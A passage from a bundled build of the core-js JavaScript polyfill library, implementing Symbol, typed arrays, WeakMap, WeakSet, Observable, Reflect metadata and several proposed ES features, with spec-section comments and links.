, toPrimitive = _dereq_(110)
, createDesc = _dereq_(85)
, _create = _dereq_(66)
, gOPNExt = _dereq_(71)
, $GOPD = _dereq_(70)
, $DP = _dereq_(67)
, $keys = _dereq_(76)
, gOPD = $GOPD.f
, dP = $DP.f
, gOPN = gOPNExt.f
, $Symbol = global.Symbol
, $JSON = global.JSON
, _stringify = $JSON && $JSON.stringify
, PROTOTYPE = 'prototype'
, HIDDEN = wks('_hidden')
, TO_PRIMITIVE = wks('toPrimitive')
, isEnum = {}.propertyIsEnumerable
, SymbolRegistry = shared('symbol-registry')
, AllSymbols = shared('symbols')
, OPSymbols = shared('op-symbols')
, ObjectProto = Object[PROTOTYPE]
, USE_NATIVE = typeof $Symbol == 'function'
, QObject = global.QObject;
// Don't use setters in Qt Script, https://github.com/zloirock/core-js/issues/173
var setter = !QObject || !QObject[PROTOTYPE] || !QObject[PROTOTYPE].findChild;
// fallback for old Android, https://code.google.com/p/v8/issues/detail?id=687
var setSymbolDesc = DESCRIPTORS && $fails(function(){
return _create(dP({}, 'a', {
get: function(){ return dP(this, 'a', {value: 7}).a; }
})).a != 7;
}) ? function(it, key, D){
var protoDesc = gOPD(ObjectProto, key);
if(protoDesc)delete ObjectProto[key];
dP(it, key, D);
if(protoDesc && it !== ObjectProto)dP(ObjectProto, key, protoDesc);
} : dP;
var wrap = function(tag){
var sym = AllSymbols[tag] = _create($Symbol[PROTOTYPE]);
sym._k = tag;
return sym;
};
var isSymbol = USE_NATIVE && typeof $Symbol.iterator == 'symbol' ? function(it){
return typeof it == 'symbol';
} : function(it){
return it instanceof $Symbol;
};
var $defineProperty = function defineProperty(it, key, D){
if(it === ObjectProto)$defineProperty(OPSymbols, key, D);
anObject(it);
key = toPrimitive(key, true);
anObject(D);
if(has(AllSymbols, key)){
if(!D.enumerable){
if(!has(it, HIDDEN))dP(it, HIDDEN, createDesc(1, {}));
it[HIDDEN][key] = true;
} else {
if(has(it, HIDDEN) && it[HIDDEN][key])it[HIDDEN][key] = false;
D = _create(D, {enumerable: createDesc(0, false)});
} return setSymbolDesc(it, key, D);
} return dP(it, key, D);
};
var $defineProperties = function defineProperties(it, P){
anObject(it);
var keys = enumKeys(P = toIObject(P))
, i = 0
, l = keys.length
, key;
while(l > i)$defineProperty(it, key = keys[i++], P[key]);
return it;
};
var $create = function create(it, P){
return P === undefined ? _create(it) : $defineProperties(_create(it), P);
};
var $propertyIsEnumerable = function propertyIsEnumerable(key){
var E = isEnum.call(this, key = toPrimitive(key, true));
if(this === ObjectProto && has(AllSymbols, key) && !has(OPSymbols, key))return false;
return E || !has(this, key) || !has(AllSymbols, key) || has(this, HIDDEN) && this[HIDDEN][key] ? E : true;
};
var $getOwnPropertyDescriptor = function getOwnPropertyDescriptor(it, key){
it = toIObject(it);
key = toPrimitive(key, true);
if(it === ObjectProto && has(AllSymbols, key) && !has(OPSymbols, key))return;
var D = gOPD(it, key);
if(D && has(AllSymbols, key) && !(has(it, HIDDEN) && it[HIDDEN][key]))D.enumerable = true;
return D;
};
var $getOwnPropertyNames = function getOwnPropertyNames(it){
var names = gOPN(toIObject(it))
, result = []
, i = 0
, key;
while(names.length > i){
if(!has(AllSymbols, key = names[i++]) && key != HIDDEN && key != META)result.push(key);
} return result;
};
var $getOwnPropertySymbols = function getOwnPropertySymbols(it){
var IS_OP = it === ObjectProto
, names = gOPN(IS_OP ? OPSymbols : toIObject(it))
, result = []
, i = 0
, key;
while(names.length > i){
if(has(AllSymbols, key = names[i++]) && (IS_OP ? has(ObjectProto, key) : true))result.push(AllSymbols[key]);
} return result;
};
// 19.4.1.1 Symbol([description])
if(!USE_NATIVE){
$Symbol = function Symbol(){
if(this instanceof $Symbol)throw TypeError('Symbol is not a constructor!');
var tag = uid(arguments.length > 0 ? arguments[0] : undefined);
var $set = function(value){
if(this === ObjectProto)$set.call(OPSymbols, value);
if(has(this, HIDDEN) && has(this[HIDDEN], tag))this[HIDDEN][tag] = false;
setSymbolDesc(this, tag, createDesc(1, value));
};
if(DESCRIPTORS && setter)setSymbolDesc(ObjectProto, tag, {configurable: true, set: $set});
return wrap(tag);
};
redefine($Symbol[PROTOTYPE], 'toString', function toString(){
return this._k;
});
$GOPD.f = $getOwnPropertyDescriptor;
$DP.f = $defineProperty;
_dereq_(72).f = gOPNExt.f = $getOwnPropertyNames;
_dereq_(77).f = $propertyIsEnumerable;
_dereq_(73).f = $getOwnPropertySymbols;
if(DESCRIPTORS && !_dereq_(58)){
redefine(ObjectProto, 'propertyIsEnumerable', $propertyIsEnumerable, true);
}
wksExt.f = function(name){
return wrap(wks(name));
}
}
$export($export.G + $export.W + $export.F * !USE_NATIVE, {Symbol: $Symbol});
for(var symbols = (
// 19.4.2.2, 19.4.2.3, 19.4.2.4, 19.4.2.6, 19.4.2.8, 19.4.2.9, 19.4.2.10, 19.4.2.11, 19.4.2.12, 19.4.2.13, 19.4.2.14
'hasInstance,isConcatSpreadable,iterator,match,replace,search,species,split,toPrimitive,toStringTag,unscopables'
).split(','), i = 0; symbols.length > i; )wks(symbols[i++]);
for(var symbols = $keys(wks.store), i = 0; symbols.length > i; )wksDefine(symbols[i++]);
$export($export.S + $export.F * !USE_NATIVE, 'Symbol', {
// 19.4.2.1 Symbol.for(key)
'for': function(key){
return has(SymbolRegistry, key += '')
? SymbolRegistry[key]
: SymbolRegistry[key] = $Symbol(key);
},
// 19.4.2.5 Symbol.keyFor(sym)
keyFor: function keyFor(key){
if(isSymbol(key))return keyOf(SymbolRegistry, key);
throw TypeError(key + ' is not a symbol!');
},
useSetter: function(){ setter = true; },
useSimple: function(){ setter = false; }
});
$export($export.S + $export.F * !USE_NATIVE, 'Object', {
// 19.1.2.2 Object.create(O [, Properties])
create: $create,
// 19.1.2.4 Object.defineProperty(O, P, Attributes)
defineProperty: $defineProperty,
// 19.1.2.3 Object.defineProperties(O, Properties)
defineProperties: $defineProperties,
// 19.1.2.6 Object.getOwnPropertyDescriptor(O, P)
getOwnPropertyDescriptor: $getOwnPropertyDescriptor,
// 19.1.2.7 Object.getOwnPropertyNames(O)
getOwnPropertyNames: $getOwnPropertyNames,
// 19.1.2.8 Object.getOwnPropertySymbols(O)
getOwnPropertySymbols: $getOwnPropertySymbols
});
// 24.3.2 JSON.stringify(value [, replacer [, space]])
$JSON && $export($export.S + $export.F * (!USE_NATIVE || $fails(function(){
var S = $Symbol();
// MS Edge converts symbol values to JSON as {}
// WebKit converts symbol values to JSON as null
// V8 throws on boxed symbols
return _stringify([S]) != '[null]' || _stringify({a: S}) != '{}' || _stringify(Object(S)) != '{}';
})), 'JSON', {
stringify: function stringify(it){
if(it === undefined || isSymbol(it))return; // IE8 returns string on undefined
var args = [it]
, i = 1
, replacer, $replacer;
while(arguments.length > i)args.push(arguments[i++]);
replacer = args[1];
if(typeof replacer == 'function')$replacer = replacer;
if($replacer || !isArray(replacer))replacer = function(key, value){
if($replacer)value = $replacer.call(this, key, value);
if(!isSymbol(value))return value;
};
args[1] = replacer;
return _stringify.apply($JSON, args);
}
});
// 19.4.3.4 Symbol.prototype[@@toPrimitive](hint)
$Symbol[PROTOTYPE][TO_PRIMITIVE] || _dereq_(40)($Symbol[PROTOTYPE], TO_PRIMITIVE, $Symbol[PROTOTYPE].valueOf);
// 19.4.3.5 Symbol.prototype[@@toStringTag]
setToStringTag($Symbol, 'Symbol');
// 20.2.1.9 Math[@@toStringTag]
setToStringTag(Math, 'Math', true);
// 24.3.3 JSON[@@toStringTag]
setToStringTag(global.JSON, 'JSON', true);
},{"107":107,"110":110,"114":114,"115":115,"116":116,"117":117,"28":28,"31":31,"32":32,"34":34,"38":38,"39":39,"40":40,"47":47,"57":57,"58":58,"62":62,"66":66,"67":67,"7":7,"70":70,"71":71,"72":72,"73":73,"76":76,"77":77,"85":85,"87":87,"92":92,"94":94}],245:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, $typed = _dereq_(113)
, buffer = _dereq_(112)
, anObject = _dereq_(7)
, toIndex = _dereq_(105)
, toLength = _dereq_(108)
, isObject = _dereq_(49)
, TYPED_ARRAY = _dereq_(117)('typed_array')
, ArrayBuffer = _dereq_(38).ArrayBuffer
, speciesConstructor = _dereq_(95)
, $ArrayBuffer = buffer.ArrayBuffer
, $DataView = buffer.DataView
, $isView = $typed.ABV && ArrayBuffer.isView
, $slice = $ArrayBuffer.prototype.slice
, VIEW = $typed.VIEW
, ARRAY_BUFFER = 'ArrayBuffer';
$export($export.G + $export.W + $export.F * (ArrayBuffer !== $ArrayBuffer), {ArrayBuffer: $ArrayBuffer});
$export($export.S + $export.F * !$typed.CONSTR, ARRAY_BUFFER, {
// 24.1.3.1 ArrayBuffer.isView(arg)
isView: function isView(it){
return $isView && $isView(it) || isObject(it) && VIEW in it;
}
});
$export($export.P + $export.U + $export.F * _dereq_(34)(function(){
return !new $ArrayBuffer(2).slice(1, undefined).byteLength;
}), ARRAY_BUFFER, {
// 24.1.4.3 ArrayBuffer.prototype.slice(start, end)
slice: function slice(start, end){
if($slice !== undefined && end === undefined)return $slice.call(anObject(this), start); // FF fix
var len = anObject(this).byteLength
, first = toIndex(start, len)
, final = toIndex(end === undefined ? len : end, len)
, result = new (speciesConstructor(this, $ArrayBuffer))(toLength(final - first))
, viewS = new $DataView(this)
, viewT = new $DataView(result)
, index = 0;
while(first < final){
viewT.setUint8(index++, viewS.getUint8(first++));
} return result;
}
});
_dereq_(91)(ARRAY_BUFFER);
},{"105":105,"108":108,"112":112,"113":113,"117":117,"32":32,"34":34,"38":38,"49":49,"7":7,"91":91,"95":95}],246:[function(_dereq_,module,exports){
var $export = _dereq_(32);
$export($export.G + $export.W + $export.F * !_dereq_(113).ABV, {
DataView: _dereq_(112).DataView
});
},{"112":112,"113":113,"32":32}],247:[function(_dereq_,module,exports){
_dereq_(111)('Float32', 4, function(init){
return function Float32Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
},{"111":111}],248:[function(_dereq_,module,exports){
_dereq_(111)('Float64', 8, function(init){
return function Float64Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
},{"111":111}],249:[function(_dereq_,module,exports){
_dereq_(111)('Int16', 2, function(init){
return function Int16Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
},{"111":111}],250:[function(_dereq_,module,exports){
_dereq_(111)('Int32', 4, function(init){
return function Int32Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
},{"111":111}],251:[function(_dereq_,module,exports){
_dereq_(111)('Int8', 1, function(init){
return function Int8Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
},{"111":111}],252:[function(_dereq_,module,exports){
_dereq_(111)('Uint16', 2, function(init){
return function Uint16Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
},{"111":111}],253:[function(_dereq_,module,exports){
_dereq_(111)('Uint32', 4, function(init){
return function Uint32Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
},{"111":111}],254:[function(_dereq_,module,exports){
_dereq_(111)('Uint8', 1, function(init){
return function Uint8Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
},{"111":111}],255:[function(_dereq_,module,exports){
_dereq_(111)('Uint8', 1, function(init){
return function Uint8ClampedArray(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
}, true);
},{"111":111}],256:[function(_dereq_,module,exports){
'use strict';
var each = _dereq_(12)(0)
, redefine = _dereq_(87)
, meta = _dereq_(62)
, assign = _dereq_(65)
, weak = _dereq_(21)
, isObject = _dereq_(49)
, has = _dereq_(39)
, getWeak = meta.getWeak
, isExtensible = Object.isExtensible
, uncaughtFrozenStore = weak.ufstore
, tmp = {}
, InternalMap;
var wrapper = function(get){
return function WeakMap(){
return get(this, arguments.length > 0 ? arguments[0] : undefined);
};
};
var methods = {
// 23.3.3.3 WeakMap.prototype.get(key)
get: function get(key){
if(isObject(key)){
var data = getWeak(key);
if(data === true)return uncaughtFrozenStore(this).get(key);
return data ? data[this._i] : undefined;
}
},
// 23.3.3.5 WeakMap.prototype.set(key, value)
set: function set(key, value){
return weak.def(this, key, value);
}
};
// 23.3 WeakMap Objects
var $WeakMap = module.exports = _dereq_(22)('WeakMap', wrapper, methods, weak, true, true);
// IE11 WeakMap frozen keys fix
if(new $WeakMap().set((Object.freeze || Object)(tmp), 7).get(tmp) != 7){
InternalMap = weak.getConstructor(wrapper);
assign(InternalMap.prototype, methods);
meta.NEED = true;
each(['delete', 'has', 'get', 'set'], function(key){
var proto = $WeakMap.prototype
, method = proto[key];
redefine(proto, key, function(a, b){
// store frozen objects on internal weakmap shim
if(isObject(a) && !isExtensible(a)){
if(!this._f)this._f = new InternalMap;
var result = this._f[key](a, b);
return key == 'set' ? this : result;
// store all the rest on native weakmap
} return method.call(this, a, b);
});
});
}
},{"12":12,"21":21,"22":22,"39":39,"49":49,"62":62,"65":65,"87":87}],257:[function(_dereq_,module,exports){
'use strict';
var weak = _dereq_(21);
// 23.4 WeakSet Objects
_dereq_(22)('WeakSet', function(get){
return function WeakSet(){ return get(this, arguments.length > 0 ? arguments[0] : undefined); };
}, {
// 23.4.3.1 WeakSet.prototype.add(value)
add: function add(value){
return weak.def(this, value, true);
}
}, weak, false, true);
},{"21":21,"22":22}],258:[function(_dereq_,module,exports){
'use strict';
// https://github.com/tc39/Array.prototype.includes
var $export = _dereq_(32)
, $includes = _dereq_(11)(true);
$export($export.P, 'Array', {
includes: function includes(el /*, fromIndex = 0 */){
return $includes(this, el, arguments.length > 1 ? arguments[1] : undefined);
}
});
_dereq_(5)('includes');
},{"11":11,"32":32,"5":5}],259:[function(_dereq_,module,exports){
// https://github.com/rwaldron/tc39-notes/blob/master/es6/2014-09/sept-25.md#510-globalasap-for-enqueuing-a-microtask
var $export = _dereq_(32)
, microtask = _dereq_(64)()
, process = _dereq_(38).process
, isNode = _dereq_(18)(process) == 'process';
$export($export.G, {
asap: function asap(fn){
var domain = isNode && process.domain;
microtask(domain ? domain.bind(fn) : fn);
}
});
},{"18":18,"32":32,"38":38,"64":64}],260:[function(_dereq_,module,exports){
// https://github.com/ljharb/proposal-is-error
var $export = _dereq_(32)
, cof = _dereq_(18);
$export($export.S, 'Error', {
isError: function isError(it){
return cof(it) === 'Error';
}
});
},{"18":18,"32":32}],261:[function(_dereq_,module,exports){
// https://github.com/DavidBruant/Map-Set.prototype.toJSON
var $export = _dereq_(32);
$export($export.P + $export.R, 'Map', {toJSON: _dereq_(20)('Map')});
},{"20":20,"32":32}],262:[function(_dereq_,module,exports){
// https://gist.github.com/BrendanEich/4294d5c212a6d2254703
var $export = _dereq_(32);
$export($export.S, 'Math', {
iaddh: function iaddh(x0, x1, y0, y1){
var $x0 = x0 >>> 0
, $x1 = x1 >>> 0
, $y0 = y0 >>> 0;
return $x1 + (y1 >>> 0) + (($x0 & $y0 | ($x0 | $y0) & ~($x0 + $y0 >>> 0)) >>> 31) | 0;
}
});
},{"32":32}],263:[function(_dereq_,module,exports){
// https://gist.github.com/BrendanEich/4294d5c212a6d2254703
var $export = _dereq_(32);
$export($export.S, 'Math', {
imulh: function imulh(u, v){
var UINT16 = 0xffff
, $u = +u
, $v = +v
, u0 = $u & UINT16
, v0 = $v & UINT16
, u1 = $u >> 16
, v1 = $v >> 16
, t = (u1 * v0 >>> 0) + (u0 * v0 >>> 16);
return u1 * v1 + (t >> 16) + ((u0 * v1 >>> 0) + (t & UINT16) >> 16);
}
});
},{"32":32}],264:[function(_dereq_,module,exports){
// https://gist.github.com/BrendanEich/4294d5c212a6d2254703
var $export = _dereq_(32);
$export($export.S, 'Math', {
isubh: function isubh(x0, x1, y0, y1){
var $x0 = x0 >>> 0
, $x1 = x1 >>> 0
, $y0 = y0 >>> 0;
return $x1 - (y1 >>> 0) - ((~$x0 & $y0 | ~($x0 ^ $y0) & $x0 - $y0 >>> 0) >>> 31) | 0;
}
});
},{"32":32}],265:[function(_dereq_,module,exports){
// https://gist.github.com/BrendanEich/4294d5c212a6d2254703
var $export = _dereq_(32);
$export($export.S, 'Math', {
umulh: function umulh(u, v){
var UINT16 = 0xffff
, $u = +u
, $v = +v
, u0 = $u & UINT16
, v0 = $v & UINT16
, u1 = $u >>> 16
, v1 = $v >>> 16
, t = (u1 * v0 >>> 0) + (u0 * v0 >>> 16);
return u1 * v1 + (t >>> 16) + ((u0 * v1 >>> 0) + (t & UINT16) >>> 16);
}
});
},{"32":32}],266:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, toObject = _dereq_(109)
, aFunction = _dereq_(3)
, $defineProperty = _dereq_(67);
// B.2.2.2 Object.prototype.__defineGetter__(P, getter)
_dereq_(28) && $export($export.P + _dereq_(69), 'Object', {
__defineGetter__: function __defineGetter__(P, getter){
$defineProperty.f(toObject(this), P, {get: aFunction(getter), enumerable: true, configurable: true});
}
});
},{"109":109,"28":28,"3":3,"32":32,"67":67,"69":69}],267:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, toObject = _dereq_(109)
, aFunction = _dereq_(3)
, $defineProperty = _dereq_(67);
// B.2.2.3 Object.prototype.__defineSetter__(P, setter)
_dereq_(28) && $export($export.P + _dereq_(69), 'Object', {
__defineSetter__: function __defineSetter__(P, setter){
$defineProperty.f(toObject(this), P, {set: aFunction(setter), enumerable: true, configurable: true});
}
});
},{"109":109,"28":28,"3":3,"32":32,"67":67,"69":69}],268:[function(_dereq_,module,exports){
// https://github.com/tc39/proposal-object-values-entries
var $export = _dereq_(32)
, $entries = _dereq_(79)(true);
$export($export.S, 'Object', {
entries: function entries(it){
return $entries(it);
}
});
},{"32":32,"79":79}],269:[function(_dereq_,module,exports){
// https://github.com/tc39/proposal-object-getownpropertydescriptors
var $export = _dereq_(32)
, ownKeys = _dereq_(80)
, toIObject = _dereq_(107)
, gOPD = _dereq_(70)
, createProperty = _dereq_(24);
$export($export.S, 'Object', {
getOwnPropertyDescriptors: function getOwnPropertyDescriptors(object){
var O = toIObject(object)
, getDesc = gOPD.f
, keys = ownKeys(O)
, result = {}
, i = 0
, key, D;
while(keys.length > i)createProperty(result, key = keys[i++], getDesc(O, key));
return result;
}
});
},{"107":107,"24":24,"32":32,"70":70,"80":80}],270:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, toObject = _dereq_(109)
, toPrimitive = _dereq_(110)
, getPrototypeOf = _dereq_(74)
, getOwnPropertyDescriptor = _dereq_(70).f;
// B.2.2.4 Object.prototype.__lookupGetter__(P)
_dereq_(28) && $export($export.P + _dereq_(69), 'Object', {
__lookupGetter__: function __lookupGetter__(P){
var O = toObject(this)
, K = toPrimitive(P, true)
, D;
do {
if(D = getOwnPropertyDescriptor(O, K))return D.get;
} while(O = getPrototypeOf(O));
}
});
},{"109":109,"110":110,"28":28,"32":32,"69":69,"70":70,"74":74}],271:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, toObject = _dereq_(109)
, toPrimitive = _dereq_(110)
, getPrototypeOf = _dereq_(74)
, getOwnPropertyDescriptor = _dereq_(70).f;
// B.2.2.5 Object.prototype.__lookupSetter__(P)
_dereq_(28) && $export($export.P + _dereq_(69), 'Object', {
__lookupSetter__: function __lookupSetter__(P){
var O = toObject(this)
, K = toPrimitive(P, true)
, D;
do {
if(D = getOwnPropertyDescriptor(O, K))return D.set;
} while(O = getPrototypeOf(O));
}
});
},{"109":109,"110":110,"28":28,"32":32,"69":69,"70":70,"74":74}],272:[function(_dereq_,module,exports){
// https://github.com/tc39/proposal-object-values-entries
var $export = _dereq_(32)
, $values = _dereq_(79)(false);
$export($export.S, 'Object', {
values: function values(it){
return $values(it);
}
});
},{"32":32,"79":79}],273:[function(_dereq_,module,exports){
'use strict';
// https://github.com/zenparsing/es-observable
var $export = _dereq_(32)
, global = _dereq_(38)
, core = _dereq_(23)
, microtask = _dereq_(64)()
, OBSERVABLE = _dereq_(117)('observable')
, aFunction = _dereq_(3)
, anObject = _dereq_(7)
, anInstance = _dereq_(6)
, redefineAll = _dereq_(86)
, hide = _dereq_(40)
, forOf = _dereq_(37)
, RETURN = forOf.RETURN;
var getMethod = function(fn){
return fn == null ? undefined : aFunction(fn);
};
var cleanupSubscription = function(subscription){
var cleanup = subscription._c;
if(cleanup){
subscription._c = undefined;
cleanup();
}
};
var subscriptionClosed = function(subscription){
return subscription._o === undefined;
};
var closeSubscription = function(subscription){
if(!subscriptionClosed(subscription)){
subscription._o = undefined;
cleanupSubscription(subscription);
}
};
var Subscription = function(observer, subscriber){
anObject(observer);
this._c = undefined;
this._o = observer;
observer = new SubscriptionObserver(this);
try {
var cleanup = subscriber(observer)
, subscription = cleanup;
if(cleanup != null){
if(typeof cleanup.unsubscribe === 'function')cleanup = function(){ subscription.unsubscribe(); };
else aFunction(cleanup);
this._c = cleanup;
}
} catch(e){
observer.error(e);
return;
} if(subscriptionClosed(this))cleanupSubscription(this);
};
Subscription.prototype = redefineAll({}, {
unsubscribe: function unsubscribe(){ closeSubscription(this); }
});
var SubscriptionObserver = function(subscription){
this._s = subscription;
};
SubscriptionObserver.prototype = redefineAll({}, {
next: function next(value){
var subscription = this._s;
if(!subscriptionClosed(subscription)){
var observer = subscription._o;
try {
var m = getMethod(observer.next);
if(m)return m.call(observer, value);
} catch(e){
try {
closeSubscription(subscription);
} finally {
throw e;
}
}
}
},
error: function error(value){
var subscription = this._s;
if(subscriptionClosed(subscription))throw value;
var observer = subscription._o;
subscription._o = undefined;
try {
var m = getMethod(observer.error);
if(!m)throw value;
value = m.call(observer, value);
} catch(e){
try {
cleanupSubscription(subscription);
} finally {
throw e;
}
} cleanupSubscription(subscription);
return value;
},
complete: function complete(value){
var subscription = this._s;
if(!subscriptionClosed(subscription)){
var observer = subscription._o;
subscription._o = undefined;
try {
var m = getMethod(observer.complete);
value = m ? m.call(observer, value) : undefined;
} catch(e){
try {
cleanupSubscription(subscription);
} finally {
throw e;
}
} cleanupSubscription(subscription);
return value;
}
}
});
var $Observable = function Observable(subscriber){
anInstance(this, $Observable, 'Observable', '_f')._f = aFunction(subscriber);
};
redefineAll($Observable.prototype, {
subscribe: function subscribe(observer){
return new Subscription(observer, this._f);
},
forEach: function forEach(fn){
var that = this;
return new (core.Promise || global.Promise)(function(resolve, reject){
aFunction(fn);
var subscription = that.subscribe({
next : function(value){
try {
return fn(value);
} catch(e){
reject(e);
subscription.unsubscribe();
}
},
error: reject,
complete: resolve
});
});
}
});
redefineAll($Observable, {
from: function from(x){
var C = typeof this === 'function' ? this : $Observable;
var method = getMethod(anObject(x)[OBSERVABLE]);
if(method){
var observable = anObject(method.call(x));
return observable.constructor === C ? observable : new C(function(observer){
return observable.subscribe(observer);
});
}
return new C(function(observer){
var done = false;
microtask(function(){
if(!done){
try {
if(forOf(x, false, function(it){
observer.next(it);
if(done)return RETURN;
}) === RETURN)return;
} catch(e){
if(done)throw e;
observer.error(e);
return;
} observer.complete();
}
});
return function(){ done = true; };
});
},
of: function of(){
for(var i = 0, l = arguments.length, items = Array(l); i < l;)items[i] = arguments[i++];
return new (typeof this === 'function' ? this : $Observable)(function(observer){
var done = false;
microtask(function(){
if(!done){
for(var i = 0; i < items.length; ++i){
observer.next(items[i]);
if(done)return;
} observer.complete();
}
});
return function(){ done = true; };
});
}
});
hide($Observable.prototype, OBSERVABLE, function(){ return this; });
$export($export.G, {Observable: $Observable});
_dereq_(91)('Observable');
},{"117":117,"23":23,"3":3,"32":32,"37":37,"38":38,"40":40,"6":6,"64":64,"7":7,"86":86,"91":91}],274:[function(_dereq_,module,exports){
var metadata = _dereq_(63)
, anObject = _dereq_(7)
, toMetaKey = metadata.key
, ordinaryDefineOwnMetadata = metadata.set;
metadata.exp({defineMetadata: function defineMetadata(metadataKey, metadataValue, target, targetKey){
ordinaryDefineOwnMetadata(metadataKey, metadataValue, anObject(target), toMetaKey(targetKey));
}});
},{"63":63,"7":7}],275:[function(_dereq_,module,exports){
var metadata = _dereq_(63)
, anObject = _dereq_(7)
, toMetaKey = metadata.key
, getOrCreateMetadataMap = metadata.map
, store = metadata.store;
metadata.exp({deleteMetadata: function deleteMetadata(metadataKey, target /*, targetKey */){
var targetKey = arguments.length < 3 ? undefined : toMetaKey(arguments[2])
, metadataMap = getOrCreateMetadataMap(anObject(target), targetKey, false);
if(metadataMap === undefined || !metadataMap['delete'](metadataKey))return false;
if(metadataMap.size)return true;
var targetMetadata = store.get(target);
targetMetadata['delete'](targetKey);
return !!targetMetadata.size || store['delete'](target);
}});
},{"63":63,"7":7}],276:[function(_dereq_,module,exports){
var Set = _dereq_(221)
, from = _dereq_(10)
, metadata = _dereq_(63)
, anObject = _dereq_(7)
, getPrototypeOf = _dereq_(74)
, ordinaryOwnMetadataKeys = metadata.keys
, toMetaKey = metadata.key;
var ordinaryMetadataKeys = function(O, P){
var oKeys = ordinaryOwnMetadataKeys(O, P)
, parent = getPrototypeOf(O);
if(parent === null)return oKeys;
var pKeys = ordinaryMetadataKeys(parent, P);
return pKeys.length ? oKeys.length ? from(new Set(oKeys.concat(pKeys))) : pKeys : oKeys;
};
metadata.exp({getMetadataKeys: function getMetadataKeys(target /*, targetKey */){
return ordinaryMetadataKeys(anObject(target), arguments.length < 2 ? undefined : toMetaKey(arguments[1]));
}});
},{"10":10,"221":221,"63":63,"7":7,"74":74}],277:[function(_dereq_,module,exports){
var metadata = _dereq_(63)
, anObject = _dereq_(7)
, getPrototypeOf = _dereq_(74)
, ordinaryHasOwnMetadata = metadata.has
, ordinaryGetOwnMetadata = metadata.get
, toMetaKey = metadata.key;
var ordinaryGetMetadata = function(MetadataKey, O, P){
var hasOwn = ordinaryHasOwnMetadata(MetadataKey, O, P);
if(hasOwn)return ordinaryGetOwnMetadata(MetadataKey, O, P);
var parent = getPrototypeOf(O);
return parent !== null ? ordinaryGetMetadata(MetadataKey, parent, P) : undefined;
};
metadata.exp({getMetadata: function getMetadata(metadataKey, target /*, targetKey */){
return ordinaryGetMetadata(metadataKey, anObject(target), arguments.length < 3 ? undefined : toMetaKey(arguments[2]));
}});
},{"63":63,"7":7,"74":74}],278:[function(_dereq_,module,exports){
var metadata = _dereq_(63)
, anObject = _dereq_(7)
, ordinaryOwnMetadataKeys = metadata.keys
, toMetaKey = metadata.key;
metadata.exp({getOwnMetadataKeys: function getOwnMetadataKeys(target /*, targetKey */){
return ordinaryOwnMetadataKeys(anObject(target), arguments.length < 2 ? undefined : toMetaKey(arguments[1]));
}});
},{"63":63,"7":7}],279:[function(_dereq_,module,exports){
var metadata = _dereq_(63)
, anObject = _dereq_(7)
, ordinaryGetOwnMetadata = metadata.get
, toMetaKey = metadata.key;
metadata.exp({getOwnMetadata: function getOwnMetadata(metadataKey, target /*, targetKey */){
return ordinaryGetOwnMetadata(metadataKey, anObject(target)
, arguments.length < 3 ? undefined : toMetaKey(arguments[2]));
}});
},{"63":63,"7":7}],280:[function(_dereq_,module,exports){
var metadata = _dereq_(63)
, anObject = _dereq_(7)
, getPrototypeOf = _dereq_(74)
, ordinaryHasOwnMetadata = metadata.has
, toMetaKey = metadata.key;
var ordinaryHasMetadata = function(MetadataKey, O, P){
var hasOwn = ordinaryHasOwnMetadata(MetadataKey, O, P);
if(hasOwn)return true;
var parent = getPrototypeOf(O);
return parent !== null ? ordinaryHasMetadata(MetadataKey, parent, P) : false;
};
metadata.exp({hasMetadata: function hasMetadata(metadataKey, target /*, targetKey */){
return ordinaryHasMetadata(metadataKey, anObject(target), arguments.length < 3 ? undefined : toMetaKey(arguments[2]));
}});
},{"63":63,"7":7,"74":74}],281:[function(_dereq_,module,exports){
var metadata = _dereq_(63)
, anObject = _dereq_(7)
, ordinaryHasOwnMetadata = metadata.has
, toMetaKey = metadata.key;
metadata.exp({hasOwnMetadata: function hasOwnMetadata(metadataKey, target /*, targetKey */){
return ordinaryHasOwnMetadata(metadataKey, anObject(target)
, arguments.length < 3 ? undefined : toMetaKey(arguments[2]));
}});
},{"63":63,"7":7}],282:[function(_dereq_,module,exports){
var metadata = _dereq_(63)
, anObject = _dereq_(7)
, aFunction = _dereq_(3)
, toMetaKey = metadata.key
, ordinaryDefineOwnMetadata = metadata.set;
metadata.exp({metadata: function metadata(metadataKey, metadataValue){
return function decorator(target, targetKey){
ordinaryDefineOwnMetadata(
metadataKey, metadataValue,
(targetKey !== undefined ? anObject : aFunction)(target),
toMetaKey(targetKey)
);
};
}});
},{"3":3,"63":63,"7":7}],283:[function(_dereq_,module,exports){
// https://github.com/DavidBruant/Map-Set.prototype.toJSON
var $export = _dereq_(32);
$export($export.P + $export.R, 'Set', {toJSON: _dereq_(20)('Set')});
},{"20":20,"32":32}],284:[function(_dereq_,module,exports){
'use strict';
// https://github.com/mathiasbynens/String.prototype.at
var $export = _dereq_(32)
, $at = _dereq_(97)(true);
$export($export.P, 'String', {
at: function at(pos){
return $at(this, pos);
}
});
},{"32":32,"97":97}],285:[function(_dereq_,module,exports){
'use strict';
// https://tc39.github.io/String.prototype.matchAll/
var $export = _dereq_(32)
, defined = _dereq_(27)
, toLength = _dereq_(108)
, isRegExp = _dereq_(50)
, getFlags = _dereq_(36)
, RegExpProto = RegExp.prototype;
var $RegExpStringIterator = function(regexp, string){
this._r = regexp;
this._s = string;
};
_dereq_(52)($RegExpStringIterator, 'RegExp String', function next(){
var match = this._r.exec(this._s);
return {value: match, done: match === null};
});
$export($export.P, 'String', {
matchAll: function matchAll(regexp){
defined(this);
if(!isRegExp(regexp))throw TypeError(regexp + ' is not a regexp!');
var S = String(this)
, flags = 'flags' in RegExpProto ? String(regexp.flags) : getFlags.call(regexp)
, rx = new RegExp(regexp.source, ~flags.indexOf('g') ? flags : 'g' + flags);
rx.lastIndex = toLength(regexp.lastIndex);
return new $RegExpStringIterator(rx, S);
}
});
